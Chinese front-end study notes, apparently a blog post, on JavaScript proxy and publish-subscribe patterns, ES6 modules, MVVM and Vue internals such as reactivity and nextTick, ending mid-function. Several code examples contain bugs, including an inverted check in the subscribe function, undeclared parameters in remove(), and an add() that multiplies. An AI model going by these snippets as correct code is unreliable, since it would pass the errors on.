代理模式:代理是一个对象,它可以用来控制对本体对象的访问,它与本体对象实现了同样的接口,代理对象会把所有的调用方法传递给本体对象。
- 代理对象可以代替本体被实例化,并使其可以被远程访问;
- 它还可以把本体实例化推迟到真正需要的时候;对于实例化比较费时的本体对象,或者因为尺寸比较大以至于不用时不适于保存在内存中的本体,我们可以推迟实例化该对象; 比如现在京东ceo想送给奶茶妹一个礼物,但是呢假如该ceo不好意思送,或者由于工作忙没有时间送,那么这个时候他就想委托他的经纪人去做这件事,于是我们可以使用代理模式来编写如下代码:
// 先申明一个奶茶妹对象
var TeaAndMilkGirl = function(name) {
this.name = name;
};
// 这是京东ceo先生
var Ceo = function(girl) {
this.girl = girl;
// 送结婚礼物 给奶茶妹
this.sendMarriageRing = function(ring) {
console.log("Hi " + this.girl.name + ", ceo送你一个礼物:" + ring);
}
};
// 京东ceo的经纪人是代理,来代替送
var ProxyObj = function(girl){
this.girl = girl;
// 经纪人代理送礼物给奶茶妹
this.sendGift = function(gift) {
// 代理模式负责本体对象实例化
(new Ceo(this.girl)).sendMarriageRing(gift);
}
};
// 初始化
var proxy = new ProxyObj(new TeaAndMilkGirl("奶茶妹"));
proxy.sendGift("结婚戒"); // Hi 奶茶妹, ceo送你一个礼物:结婚戒
上面的代理主要体现的是代理的特点1,即代理对象可以代替本体实例化,并使其可以远程控制。。。但特点2体现不明显,其实特点2就是虚拟代理,虚拟代理用于控制对那种创建开销很大的本体访问,他会把本体的实例化推迟到有方法调用的时候。其实类似事件循环,当事件有结果了,就去执行回调。。。
发布订阅模式(观察者模式):它定义了对象间的一种一对多的关系,让多个观察者对象同时监听某一个主题,当一个对象发生改变时,所有依赖于它的对象都将得到通知。
其实生活中的观察者模式比比皆是,比如很多订阅了商家的某个东西,商家来货了就通知所有的用户。。。
优点:
- 支持简单的广播通信,当对象状态发生改变时,会自动通知已经订阅的对象
- 发布者与订阅者耦合性降低,发布者只管发布一条消息出去即可,不用关心买家是否在意。
如何实现观察者模式:
- 确定发布者(比如卖家)
- 确定订阅者列表(比如哪些卖家关注了卖家)
- 发布消息,发布者遍历订阅者列表,依次触发里面存放的订阅者回调函数(不同的人,订阅的产品可能不同)
var shoeObj = {}; // 定义发布者
shoeObj.list = []; // 缓存列表 存放订阅者回调函数
// 增加订阅者
shoeObj.listen = function(fn) {
shoeObj.list.push(fn); // 订阅消息添加到缓存列表
}
// 发布消息
shoeObj.trigger = function(){
for(var i = 0,fn; fn = this.list[i++];) {
fn.apply(this,arguments);
}
}
// 小红订阅如下消息
shoeObj.listen(function(color,size){
console.log("颜色是:"+color);
console.log("尺码是:"+size);
});
// 小花订阅如下消息
shoeObj.listen(function(color,size){
console.log("再次打印颜色是:"+color);
console.log("再次打印尺码是:"+size);
});
shoeObj.trigger("红色",40);
shoeObj.trigger("黑色",42);
但是有些订阅者,想只定制自己关心的产品,比如小红只关心红色鞋,不想接受黑色鞋的消息。。。因此只需将黑色鞋的回调置为空即可。。。
// 增加订阅者
shoeObj.listen = function(key, fn) {
// 如果没有订阅
if(this.list[key]){
this.list[key] = []
}
this.list[key].push(fn); // 订阅消息添加到缓存列表
}
// 发布消息
shoeObj.trigger = function(){
var key = [].shift.call(arguments) // 取出事件类型
var fns = this.list[key] // 取出该消息对应的回调函数的集合
// 如果没有订阅过该消息的话,则返回
if(!fns || fns.length === 0) {
return;
}
for(var i = 0,fn; fn = fns[i++]; ) {
fn.apply(this,arguments); // arguments 是发布消息时附送的参数
}
}
既然发布订阅可以用于某个商品,那同样可以应用在其他场合。。。所以封装一下
var event = {
list: [],
listen: function(key,fn) {
if(!this.list[key]) {
this.list[key] = [];
}
// 订阅的消息添加到缓存列表中
this.list[key].push(fn);
},
trigger: function(){
var key = Array.prototype.shift.call(arguments);
var fns = this.list[key];
// 如果没有订阅过该消息的话,则返回
if(!fns || fns.length === 0) {
return;
}
for(var i = 0,fn; fn = fns[i++];) {
fn.apply(this,arguments);
}
},
// 取消订阅
remove: function(){
var fns = this.list[key]
// 如果key对应的消息没有订阅过的话,返回
if(!fns) return false
// 如果没有传具体的回调函数,表示需要取消key对应消息的所有订阅
if(!fn){
fns.length = 0
}else{
for(var i = fns.length-1;i>=0;i--){
var _fn = fns[i]
if(_fn === fn){
fns.splice(i,1)//删除订阅者的回调函数
}
}
}
}
};
// 在定义一个函数,可以直接将普通对象都具有发布订阅功能
var initEvent = function(obj) {
for(var i in event) {
obj[i] = event[i];
}
};
模块化、MV*
、
历史上,JavaScript 一直没有模块(module)体系,无法将一个大程序拆分成互相依赖的小文件,再用简单的方法拼装起来。其他语言都有这项功能,比如 Ruby 的require、Python 的import,甚至就连 CSS 都有@import,但是 JavaScript 任何这方面的支持都没有,这对开发大型的、复杂的项目形成了巨大障碍。
在 ES6 之前,社区制定了一些模块加载方案,最主要的有 CommonJS 和 AMD 两种。前者用于服务器,后者用于浏览器。ES6 在语言标准的层面上,实现了模块功能,而且实现得相当简单,完全可以取代 CommonJS 和 AMD 规范,成为浏览器和服务器通用的模块解决方案。
ES6 模块的设计思想是尽量的静态化,使得编译时就能确定模块的依赖关系,以及输入和输出的变量。CommonJS 和 AMD 模块,都只能在运行时确定这些东西。比如,CommonJS 模块就是对象,输入时必须查找对象属性。
// CommonJS模块
let { stat, exists, readFile } = require('fs');
// 等同于
let _fs = require('fs');
let stat = _fs.stat;
let exists = _fs.exists;
let readfile = _fs.readfile;
上面代码的实质是整体加载fs模块(即加载fs的所有方法),生成一个对象(_fs),然后再从这个对象上面读取 3 个方法。这种加载称为“运行时加载”,因为只有运行时才能得到这个对象,导致完全没办法在编译时做“静态优化”。
ES6 模块不是对象,而是通过export命令显式指定输出的代码,再通过import命令输入。
// ES6模块
import { stat, exists, readFile } from 'fs';
上面代码的实质是从fs模块加载 3 个方法,其他方法不加载。这种加载称为编译时加载或者静态加载,即 ES6 可以在编译时就完成模块加载,效率要比 CommonJS 模块的加载方式高。当然,这也导致了没法引用 ES6 模块本身,因为它不是对象。
// 务必注意:export 命令规定的是对外的接口,必须与模块内部的变量一一对应。
// 报错,没有提供对外的接口,而直接是值
export 1;
// 报错,这里通过变量输出的依然是1,1是值而不是接口
var m = 1;
export m;
export var m = 1; // 正确
var m = 1;
export { m }; // 正确
var n = 1;
export {n as m1, n as m2}; // 可以使用不同的名字加载两次
// 实质是:在接口名与模块内部变量之间,简历一一对应关系。
// 同样对于 function class同样如此
function f(){};
export f; // 报错
function f(){};
export {f}; // 正确
export function f(){}; // 正确
function f() {}
export default foo; // 正确
// 另外export语句输出的接口,与其对应的值是动态绑定关系,即通过接口,可以去到模块内部的值
export var foo = 'bar';
setTimeout(() => foo = 'bazbaz', 500);
// 上面代码刚开始输出变量foo,值为bar,500毫秒后变为bazbaz
// CommonJS 规范完全不同。CommonJS 模块输出的是值的缓存,不存在动态更新
// export命令可以出现在模块的任何位置,只要处于模块顶层就可以。
// 如果处于块级作用域内,就会报错,下面的import命令也是如此。
// 这是因为处于条件代码块之中,就没法做静态优化了,违背了 ES6 模块的设计初衷。
function foo() {
export default 'bar' // SyntaxError
}
foo()
// import命令输入的变量都是只读的,因为它的本质是输入接口。也就是说,不允许在加载模块的脚本里面,改写接口。
import {a} from './xxx.js'
a = {}; // Syntax Error : 'a' is read-only;
a.foo = 'hello'; // 合法操作
// a的属性可以成功改写,并且其他模块也可以读到改写后的值。
// 不过,这种写法很难查错,建议凡是输入的变量,都当作完全只读,轻易不要改变它的属性。
// import命令具有提升效果,会提升到整个模块的头部,首先执行。
// 因此下面不会报错,因为import的执行早于foo的调用,类似变量提升
// 这种行为的本质是,import命令是编译阶段执行的,在代码运行之前。
foo();
import { foo } from 'my_module';
// 由于import是静态执行,所以不能使用表达式和变量,这些只有在运行时才能得到结果的语法结构。
// 报错
import { 'f' + 'oo' } from 'my_module';
// 报错
let module = 'my_module';
import { foo } from module;
// 报错
if ( x === 1 ) {
import { foo } from 'module1';
} else {
import { foo } from 'module2';
}
// 通过 Babel 转码,CommonJS 模块的require命令和 ES6 模块的import命令,
// 可以写在同一个模块里面,但是最好不要这样做。
// 因为import在静态解析阶段执行,所以它是一个模块之中最早执行的。下面的代码可能不会得到预期结果。
require('core-js/modules/es6.symbol');
require('core-js/modules/es6.promise');
import React from 'React';
// 另外import语句是 Singleton 模式。
// 也就是同一个模块引入多次,只会执行一次,但可以重命名不同名
// export default就是输出一个叫做default的变量或方法,然后系统允许你为它取任意名字。
// modules.js
function add(x, y) {
return x * y;
}
export {add as default};
// 等同于
// export default add;
// app.js
import { default as foo } from 'modules';
// 等同于
// import foo from 'modules';
// 正是因为export default命令其实只是输出一个叫做default的变量,所以它后面不能跟变量声明语句。
// 正确
export var a = 1;
// 正确
var a = 1;
export default a;
// 错误
export default var a = 1;
// 同样地,因为export default命令的本质是将后面的值,赋给default变量,所以可以直接将一个值写在export default之后。
// 正确
export default 42;
// 报错
export 42;
// 如果想在一条import语句中,同时输入默认方法和其他接口,可以写成下面这样。
import _, { each, forEach } from 'lodash';
// 我们知道import不能动态加载模块,因此是有缺陷的
// 但现在有提案:建议引入import()函数,完成动态加载。
// import函数的参数specifier,指定所要加载的模块的位置。
// import命令能够接受什么参数,import()函数就能接受什么参数,两者区别主要是后者为动态加载。
const main = document.querySelector('main');
import(`./section-modules/${someVariable}.js`)
.then(module => {
module.loadPageInto(main);
})
.catch(err => {
main.textContent = err.message;
});
// import()函数与所加载的模块没有静态连接关系,这点也是与import语句不相同。
// import()类似于 Node 的require方法,区别主要是前者是异步加载,后者是同步加载。
// 现在vue项目动态加载模块方案就是import()
// 因此现在可以实现按需加载(比如点击后)、条件加载(if)、动态的模块路径
import(f())
.then(...); // 动态的模块路径
// 浏览器加载es6模块
// 浏览器加载 ES6 模块,也使用<script>标签,但是要加入type="module"属性。
<script type="module" src="./foo.js"></script>
// 浏览器对于带有type="module"的<script>,都是异步加载,不会造成堵塞浏览器,
// 即等到整个页面渲染完,再执行模块脚本,等同于打开了<script>标签的defer属性。
由于 ES6 模块是编译时加载,使得静态分析成为可能。有了它,就能进一步拓宽 JavaScript 的语法,比如引入宏(macro)和类型检验(type system)这些只能靠静态分析实现的功能。
1、ES6 模块与 CommonJS 模块的差异
- CommonJS 模块输出的是一个值的拷贝,ES6 模块输出的是值的引用。
- CommonJS 模块是运行时加载,ES6 模块是编译时输出接口。
第二个差异是因为 CommonJS 加载的是一个对象(即module.exports属性),该对象只有在脚本运行完才会生成。而 ES6 模块不是对象,它的对外接口只是一种静态定义,在代码静态解析阶段就会生成。
ES6 模块的运行机制与 CommonJS 不一样。JS 引擎对脚本静态分析的时候,遇到模块加载命令import,就会生成一个只读引用。等到脚本真正执行时,再根据这个只读引用,到被加载的那个模块里面去取值。换句话说,ES6 的import有点像 Unix 系统的“符号连接”,原始值变了,import加载的值也会跟着变。因此,ES6 模块是动态引用,并且不会缓存值,模块里面的变量绑定其所在的模块。
2、ES6 模块与 CommonJS 模块之间相互加载
// ES6加载CommonJs模块
// a.js
module.exports = {
foo: 'hello',
bar: 'world'
};
// 等同于
export default {
foo: 'hello',
bar: 'world'
};
// import命令加载上面的模块,module.exports会被视为默认输出,
// 即import命令实际上输入的是这样一个对象{ default: module.exports }
。
exports/import & module.exports/require区别 参考:exports与export的区别
- require: node 和 es6 都支持的引入
- export / import : 只有es6 支持的导出引入
- module.exports / exports: 只有 node 支持的导出
require的使用很简单,相当于module.exports的传送门,module.exports后面跟着什么,require的结果就是什么,对象、数字、字符串、函数…再把这个require的结果赋值给某个变量。使用时,完全可以把它当成node的一个全局函数,参数还可以是表达式。
但import则不同,它是编译时的(require是运行时的),它不会将整个模块运行后赋值给某个变量,而是只选择import的接口进行编译,这样在性能上比require好很多。另外import导入的模块,后续对模块进行修改,再次使用模块内数据会发生变化,import建立的只是类似软连接的机制。而require则相当于将模块导入,后续再修改模块,则不会更新。
2、在ES模块里导入导出
- export与export default均可用于导出常量、函数、文件、模块等
- 在一个文件或模块中,export、import可以有多个,export default仅有一个
- 通过export方式导出,在导入时要加{ },export default则不需要
- export能直接导出变量表达式,export default不行。
MVC、MVVM
mvvm模型,mvc模型诞生于早期,其实主要适用于view层逻辑比较简单,且大多是直接展示后台返回的代码模板,而现在的view层有大量的逻辑及频繁操作dom以及更新数据,若是再人为的操作,势必造成重复性劳作及性能问题,因此出现mvvm模型,vm自动同步v和m的变化,vue中每个实例可以理解为vm,vm.$el可以理解为v,而vm.$data可以理解为m,当v或m变化后,vm会自动同步二者。。。也就一定程度上避免了频繁的人为操作及性能问题
框架 框架分多种,每种类型的框架做的事情不尽相同,有点限于ui层面,有的限于模板层面,而vue和react提供状态到界面的映射及组件,但并没有http请求,路由,状态管理等,因此还需要配合第三方库使用。
像express和hapi.js是web框架,但vue和react也被常说成框架,但vue解释自己为js框架,而react为构建用户界面的js库,因此侧重点都是数据到界面的映射。。。而不是像express和hapi那样侧重api
Vue、React对比
相同点:
- 使用Virtual DOM
- 提供响应式(Reactive)和组件化(Composable)的视图组件
- 将注意力集中保持在核心库,而将其他功能诸如路由和全局状态管理交给相关的库
不同点:
- React中一切皆JavaScript,不仅仅HTML甚至CSS都纳入到JavaScript中处理,即JSX(使用XML编写JavaScript语法糖);而Vue推荐使用模板,但Vue提供了渲染函数,甚至支持JSX。
- React运行时性能,在React中,某个组件的状态发生变化时,它会以该组件为根,重新渲染整个组件子树(可以配置,但稍复杂)。而Vue是依赖是在渲染过程中自动追踪的。
Vue核心
Vue之proxy、defineProperty
// obj: 要在其上定义属性的对象。
// prop: 要定义或修改的属性的名称。
// descriptor: 将被定义或修改的属性的描述符。
Object.defineProperty(obj, prop, descriptor)
var obj = {};
Object.defineProperty(obj, "num", {
value : 1,
writable : true,//当且仅当该属性的writable为true时,value才能被赋值运算符改变。默认为 false。
enumerable : true,//当且仅当该属性的enumerable为true时,该属性才能够出现在对象的枚举属性中。默认为 false。
configurable : true//当且仅当该属性的 configurable 为 true 时,该属性描述符才能够被改变,同时该属性也能从对应的对象上被删除。默认为 false。
});
// 对象 obj 拥有属性 num,值为 1
注意:descriptor对象内的value是数据描述符,还可是另外一种形式:存取描述符(get、set),但二者不能同时出现
var o = {}; // 创建一个新对象
// 在对象中添加一个属性与数据描述符的示例
Object.defineProperty(o, "a", {
value : 37,
writable : true,
enumerable : true,
configurable : true
});
// 对象o拥有了属性a,值为37
// 在对象中添加一个属性与存取描述符的示例
var bValue;
Object.defineProperty(o, "b", {
get : function(){
return bValue;
},
set : function(newValue){
bValue = newValue;
},
enumerable : true,
configurable : true
});
o.b = 38;
// 对象o拥有了属性b,值为38
// o.b的值现在总是与bValue相同,除非重新定义o.b
// 数据描述符和存取描述符不能混合使用
Object.defineProperty(o, "conflict", {
value: 0x9f91102,
get: function() {
return 0xdeadbeef;
}
});
// throws a TypeError: value appears only in data descriptors,
使用 defineProperty 只能重定义属性的读取(get)和设置(set)行为,到了 ES6,提供了 Proxy,可以重定义更多的行为,比如 in、delete、函数调用等更多行为。
// target参数表示所要拦截的目标对象
// handler参数也是一个对象,用来定制拦截行为
var proxy = new Proxy(target, handler);
// 如果handler没有设置任何拦截,那就等同于直接通向原对象。
var target = {};
var handler = {};
var proxy = new Proxy(target, handler);
proxy.a = 'b';
target.a // "b"
// 下面是Proxy的设置和获取
var proxy = new Proxy({}, {
get: function(obj, prop) {
console.log('设置 get 操作')
return obj[prop];
},
set: function(obj, prop, value) {
console.log('设置 set 操作')
obj[prop] = value;
}
});
proxy.time = 35; // 设置 set 操作
console.log(proxy.time); // 设置 get 操作 // 35
手动实现v-model
<!-- 当原生的输入元素类型并不总能满足需求,因此可以使用自定义组件,要始终记住: -->
<input v-model="searchText">
<!-- 等价于 -->
<input
v-bind:value="searchText"
v-on:input="searchText = $event.target.value"
>
<!-- 其实就是绑定input的value作为属性searchText的值,然后监听input事件,并把$event.target.value的值传递给searchText。 -->
<!-- 当用在组件上时,v-model 则会这样: -->
<custom-input v-bind:value="searchText" v-on:input="searchText = $event"></custom-input>
<!-- 为了让它正常工作,这个组件内的input必须:
1,将其value特性绑定到一个名为value的prop上
2,在其input事件被触发时,将新的值通过自定义的input事件抛出 -->
Vue.component('custom-input', {
props: ['value'],
template: `
<input
v-bind:value="value"
v-on:input="$emit('input', $event.target.value)"
>
`
})
<!-- 现在v-model就应该可以在这个组件上完美地工作起来了: -->
<custom-input v-model="searchText"></custom-input>
<!-- -->
使用了v-model的组件会自动监听 input 事件,并把这个input事件所携带的值 传递给v-model所绑定的属性!这样组件内部的值就给到了父组件了
key属性
创建新DOM节点并移除旧DOM节点和更新已存在的DOM节点,这两种方式里创建新DOM节点的开销肯定是远大于更新或移动已有的DOM节点,所以在diff中逻辑都是为了减少新的创建而更多的去复用已有DOM节点来完成DOM的更新。
key在列表渲染中的作用是:在复杂的列表渲染中快速准确的找到与newVnode相对应的oldVnode,提升diff效率
当 Vue 正在更新使用 v-for 渲染的元素列表时,它默认使用“就地更新”的策略。如果数据项的顺序被改变,Vue 将不会移动 DOM 元素来匹配数据项的顺序,而是就地更新每个元素,并且确保它们在每个索引位置正确渲染。这个类似 Vue 1.x 的 track-by=”$index”。 这个默认的模式是高效的,但是只适用于不依赖子组件状态或临时 DOM 状态 (例如:表单输入值) 的列表渲染输出。 为了给 Vue 一个提示,以便它能跟踪每个节点的身份,从而重用和重新排序现有元素,你需要为每项提供一个唯一 key 属性:> 建议尽可能在使用 v-for 时提供 key attribute,除非遍历输出的 DOM 内容非常简单,或者是刻意依赖默认行为以获取性能上的提升。 key 的特殊属性主要用在 Vue 的虚拟 DOM 算法,在新旧 nodes 对比时辨识 VNodes。如果不使用 key,Vue 会使用一种最大限度减少动态元素并且尽可能的尝试修复/再利用相同类型元素的算法。使用 key,它会基于 key 的变化重新排列元素顺序,并且会移除 key 不存在的元素。 有相同父元素的子元素必须有独特的 key。重复的 key 会造成渲染错误。
在新旧vnode的diff过程中,key是判断两个节点是否为同一节点的首要条件:
详解双向数据绑定原理
参考:通俗解释双向绑定、剖析vue双向绑定实现原理、Vue源码详细解析(数据响应化)、Vue.js技术揭秘
总体过程:vue.js是采用数据劫持结合发布订阅者模式的方式,通过Object.defineProperty()
来劫持各个属性的setter,getter,在数据变动时发布消息给订阅者(也就是setter回调里,执行订阅者列表的回调函数)。
而angular.js是通过脏检查机制的对比数据是否发生变更,来决定是否更新视图,最简单的方式就是通过 setInterval() 定时轮询检测数据变动。。。当然angular在指定的事件触发时才会进入脏检查机制:
- DOM事件,譬如用户输入文本,点击按钮等。( ng-click )
- XHR响应事件 ( $http )
- 浏览器Location变更事件 ( $location )
- Timer事件( $timeout , $interval )
- 执行 $digest() 或 $apply()
- 使得数据对象变得“可观测”,需要是对象
const hero = {
health: 3000,
IQ: 150
}
// 如果修改了上面对象的值,怎么让他告诉我们呢?
// 改写如下
let hero = {}
let val = 3000
Object.defineProperty(hero, 'health', {
get () {
console.log('我的health属性被读取了!')
return val // 返回定义的val值3000
},
set (newVal) {
console.log('我的health属性被修改了!')
val = newVal
}
})
console.log(hero.health)
// => 我的health属性被读取了!
// => 3000
hero.health = 5000
// => 我的health属性被修改了!!
// => 5000
- 封装一下,对一个对象进行遍历,进而都被可观测
/**
* 使一个对象转化成可观测对象
* @param { Object } obj 对象
* @param { String } key 对象的key
* @param { Any } val 对象的某个key的值
*/
function defineReactive (obj, key, val) {
Object.defineProperty(obj, key, {
get () {
// 触发getter
console.log(`我的${key}属性被读取了!`)
return val
},
set (newVal) {
// 触发setter
console.log(`我的${key}属性被修改了!`)
val = newVal
}
})
}
/**
* 把一个对象的每一项都转化成可观测对象
* @param { Object } obj 对象
*/
function observe (obj) {
const keys = Object.keys(obj)
keys.forEach((key) => {
defineReactive(obj, key, obj[key])
})
return obj
}
// 然后就可以直接
const hero = observe({
health: 3000,
IQ: 150
})
- 计算属性,某个值的修改会导致另外数据的变化
// 比如定义如下一个监听器 // 比如,检测hero的health属性,根据属性值的不同,type值就会不同 // 因此type就可以理解为计算属性,依赖是hero.health watcher(hero, 'type', () => { return hero.health > 4000 ? '坦克' : '脆皮' })
分析上��代码可以知道,监听器接受三个参数,分别是被监听的对象,被监听的属性及回调函数。。。回调函数返回一个被监听属性的值。。。然后抽成下面的代码
/**
* 当计算属性的值被更新时调用
* @param { Any } val 计算属性的值
*/
function onComputedUpdate (val) {
console.log(`我的类型是:${val}`);
}
/**
* 观测者
* @param { Object } obj 被观测对象
* @param { String } key 被观测对象的key
* @param { Function } cb 回调函数,返回“计算属性”的值
*/
function watcher (obj, key, cb) {
Object.defineProperty(obj, key, {
get () {
// 执行回调,并将返回值给onComputedUpdate,同时并执行
const val = cb()
onComputedUpdate(val)
return val
},
set () {
console.error('计算属性无法被赋值!')
}
})
}
现在看起来没毛病,一切都运行良好,是不是就这样结束了呢?别忘了,我们现在是通过手动读取hero.type来获取这个英雄的类型,并不是他主动告诉我们的。如果我们希望让英雄能够在health属性被修改后,第一时间主动发起通知,又该怎么做呢?这就涉及到本文的核心知识点——依赖收集。
- 依赖收集, 我们知道,当一个可观测对象的属性被读写时,会触发它的getter/setter方法。换个思路,如果我们可以在可观测对象的getter/setter里面,去执行监听器里面的onComputedUpdate()方法,是不是就能够实现让对象主动发出通知的功能呢?
由于监听器内的onComputedUpdate()方法需要接收回调函数的值作为参数,而可观测对象内并没有这个回调函数,所以我们需要借助一个第三方来帮助我们把监听器和可观测对象连接起来。
这个第三方就做一件事情——收集监听器内的回调函数的值以及onComputedUpdate()方法。
现在我们把这个第三方命名为“依赖收集器”,一起来看看应该怎么写:
const Dep = {
target: null
}
依赖收集器的target就是用来存放监听器里面的onComputedUpdate()方法的。定义完依赖收集器,我们回到监听器里,看看应该在什么地方把onComputedUpdate()方法赋值给Dep.target:
function watcher (obj, key, cb) {
// 定义一个被动触发函数,当这个“被观测对象”的依赖更新时调用
const onDepUpdated = () => {
const val = cb()
onComputedUpdate(val)
}
Object.defineProperty(obj, key, {
get () {
Dep.target = onDepUpdated
// 执行cb()的过程中会用到Dep.target,
// 当cb()执行完了就重置Dep.target为null
const val = cb()
Dep.target = null
return val
},
set () {
console.error('计算属性无法被赋值!')
}
})
}
我们在监听器内部定义了一个新的onDepUpdated()方法,这个方法很简单,就是把监听器回调函数的值以及onComputedUpdate()给打包到一块,然后赋值给Dep.target。这一步非常关键,通过这样的操作,依赖收集器就获得了监听器的回调值以及onComputedUpdate()方法。作为全局变量,Dep.target理所当然的能够被可观测对象的getter/setter所使用。
重新看一下我们的watcher实例:
watcher(hero, 'type', () => {
return hero.health > 4000 ? '坦克' : '脆皮'
})
在它的回调函数中,调用了英雄的health属性,也就是触发了对应的getter函数。理清楚这一点很重要,因为接下来我们需要回到定义可观测对象的defineReactive()方法当中,对它进行改写:
function defineReactive (obj, key, val) {
const deps = []
Object.defineProperty(obj, key, {
get () {
if (Dep.target && deps.indexOf(Dep.target) === -1) {
deps.push(Dep.target)
}
return val
},
set (newVal) {
val = newVal
deps.forEach((dep) => {
dep()
})
}
})
}
总结:
- 首先需要通过observe观测数据,然后递归调用defineReactive执行getter/setter设定
- 在getter中会将所有的watcher(也就是订阅者)添加进订阅者列表里deps里
- 在setter中,在改变值后,会遍历订阅者列表执行其中的订阅者回调函数(一般是update函数)
注意:
在这个方法里面我们定义了一个空数组deps,当getter被触发的时候,就会往里面添加一个Dep.target。回到关键知识点Dep.target等于监听器的onComputedUpdate()方法,这个时候可观测对象已经和监听器捆绑到一块。任何时候当可观测对象的setter被触发时,就会调用数组中所保存的Dep.target方法,也就是自动触发监听器内部的onComputedUpdate()方法。
vue中的比较好的代码片段:
// 是对象,如果是数组则递归
function touch (obj) {
if (typeof obj === 'object'){
if (Array.isArray(obj)) {
for (let i = 0,l = obj.length; i < l; i++) {
touch(obj[i])
}
} else {
// 对象直接遍历,并递归
let keys = Object.keys(obj)
for (let key of keys) touch(obj[key])
}
console.log(obj)
}
}
倒计时组件
<button class="button" :class="{disabled: !this.canClick}" @click="countDown">
<div><div>
<script>
export default {
data() {
return {
content: "发送验证码",
totalTime: 10,
canClick: true, //添加canClick
msg: '时间撮',
finalExample: ''
};
},
computed: {
example: {
get: function() {
// 时间撮不是响应式依赖,而由于计算属性被缓存了,getter并不总是被调用
return Date.now() + this.msg;
},
// 若想每次访问example都调用getter,则需要关闭cache
// 但务必注意,只在js里访问才会有效果
cache: false,
},
},
mounted() {
this.timer = setInterval(() => {
// 这样的话,就每次都从js里获取myTime,然后再渲染到页面上
// 相当于一个迂回
this.finalExample = this.myTime;
}, 1000);
},
methods: {
countDown() {
// 防止同一个计时区间多次点击,若多次点击则速度会变快,因此多个定时器修改的是同一个值
if (!this.canClick) return;
this.canClick = false;
// 这里是消除初始倒计时不是this.totalTime的问题
this.content = this.totalTime + "s后重新发送";
let clock = window.setInterval(() => {
this.totalTime--;
this.content = this.totalTime + "s后重新发送";
if (this.totalTime < 0) {
window.clearInterval(clock);
this.content = "重新发送验证码";
this.totalTime = 10;
this.canClick = true; //这里重新开启可以点击
}
}, 1000);
}
},
beforeDestroy() {
window.clearInterval(this.timer);
}
};
</script>
$nextTick原理
参考:nextTick:MutationObserver只是浮云
这句话很重要:每轮次的event loop中,每次执行一个task,并执行完microtask队列中的所有microtask之后,就会进行UI的渲染。,因为nextTick的原理就是基于此。
因此如果想获取数据更新后的dom,只需要触发一个微任务,当微任务执行完就会开始更新dom,因此在微任务的回调里就可能拿到最新的dom元素。。。但微任务又有好几种或者没有(只能退而求其次改为宏任务)
常见的宏任务(macro task): setTimeout、MessageChannel、postMessage、setImmediate;
常见的 micro task 有 MutationObsever 和 Promise.then。
栈(stack)分配固定大小内存(存放指针及基本数据类型)先进后出模型(比如浏览器history),系统自动回收内存。堆(heap)是动态分配内存大,不自动回收。队列是先进先出模型(FIFO)。
// 其实MutationObsever是用来监听DOM修改事件,能够监听到节点的属性、文本内容、子节点等的改动等
// 监听到改动,就会执行里面的回调
// ios9.3以上的WebView的MutationObserver有bug,
// 所以在hasMutationObserverBug中存放了是否是这种情况
if (typeof MutationObserver !== 'undefined' && !hasMutationObserverBug) {
var counter = 1
// 创建一个MutationObserver,observer监听到dom改动之后后执行回调nextTickHandler
var observer = new MutationObserver(nextTickHandler)
var textNode = document.createTextNode(counter)
// 调用MutationObserver的接口,观测文本节点的字符内容
observer.observe(textNode, {
characterData: true
})
// 每次执行timerFunc都会让文本节点的内容在0/1之间切换,
// 切换之后将新值赋值到那个我们MutationObserver观测的文本节点上去,进而就会触发回调nextTickHandler
// nextTickHandler就是我们指定的要在更新以后的dom上的操作函数
timerFunc = function () {
counter = (counter + 1) % 2
textNode.data = counter
}
}
注意:在Vue2.4之前都是使用microtasks,但是microtask的优先级过高,在某些情况下可能会出现比事件冒泡更快的情况,但如果都使用 macrotasks 又可能会出现渲染的性能问题。所以在新版本中,会默认使用 microtasks,但在特殊情况下会使用macrotasks,比如 v-on。
对于实现 macrotasks ,会先判断是否能使用 setImmediate ,不能的话降级为 MessageChannel ,以上都不行的话就使用 setTimeout。。。然后对于微任务的话,优先使用Promise.resolve().then,如果不支持的话,就退回到宏任务
/* @flow */
/* globals MessageChannel */
import { noop } from 'shared/util'
import { handleError } from './error'
import { isIOS, isNative } from './env'
const callbacks = []
let pending = false
function flushCallbacks () {
pending = false
const copies = callbacks.slice(0)
callbacks.length = 0
for (let i = 0; i < copies.length; i++) {
copies[i]()
}
}
// Here we have async deferring wrappers using both microtasks and (macro) tasks.
// In < 2.4 we used microtasks everywhere, but there are some scenarios where
// microtasks have too high a priority and fire in between supposedly
// sequential events (e.g. #4521, #6690) or even between bubbling of the same
// event (#6566). However, using (macro) tasks everywhere also has subtle problems
// when state is changed right before repaint (e.g. #6813, out-in transitions).
// Here we use microtask by default, but expose a way to force (macro) task when
// needed (e.g. in event handlers attached by v-on).
let microTimerFunc
let macroTimerFunc
let useMacroTask = false
// Determine (macro) task defer implementation.
// Technically setImmediate should be the ideal choice, but it's only available
// in IE. The only polyfill that consistently queues the callback after all DOM
// events triggered in the same loop is by using MessageChannel.
/* istanbul ignore if */
if (typeof setImmediate !== 'undefined' && isNative(setImmediate)) {
macroTimerFunc = () => {
setImmediate(flushCallbacks)
}
} else if (typeof MessageChannel !== 'undefined' && (
isNative(MessageChannel) ||
// PhantomJS
MessageChannel.toString() === '[object MessageChannelConstructor]'
)) {
const channel = new MessageChannel()
const port = channel.port2
channel.port1.onmessage = flushCallbacks
macroTimerFunc = () => {
port.postMessage(1)
}
} else {
/* istanbul ignore next */
macroTimerFunc = () => {
setTimeout(flushCallbacks, 0)
}
}
// Determine microtask defer implementation.
/* istanbul ignore next, $flow-disable-line */
if (typeof Promise !== 'undefined' && isNative(Promise)) {
const p = Promise.resolve()
microTimerFunc = () => {
p.then(flushCallbacks)
// in problematic UIWebViews, Promise.then doesn't completely break, but
// it can get stuck in a weird state where callbacks are pushed into the
// microtask queue but the queue isn't being flushed, until the browser
// needs to do some other work, e.g. handle a timer. Therefore we can
// "force" the microtask queue to be flushed by adding an empty timer.
if (isIOS) setTimeout(noop)
}
} else {
// fallback to macro
microTimerFunc = macroTimerFunc
}
/**
* Wrap a function so that if any code inside triggers state change,
* the changes are queued using a (macro) task instead of a microtask.
*/
export function withMacroTask (fn: Function): Function {
return fn._withTask || (fn._withTask = function () {
useMacroTask = true
const res = fn.apply(null, arguments)
useMacroTask = false
return res
})
}
export function nextTick (cb?: Function, ctx?: Object) {
let _resolve
callbacks.push(() => {
if (cb) {
try {
cb.call(ctx)
} catch (e) {
handleError(e, ctx, 'nextTick')
}
} else if (_resolve) {
_resolve(ctx)
}
})
if (!pending) {
pending = true
if (useMacroTask) {
macroTimerFunc()
} else {
microTimerFunc()
}
}
// $flow-disable-line
if (!cb && typeof Promise !== 'undefined') {
return new Promise(resolve => {
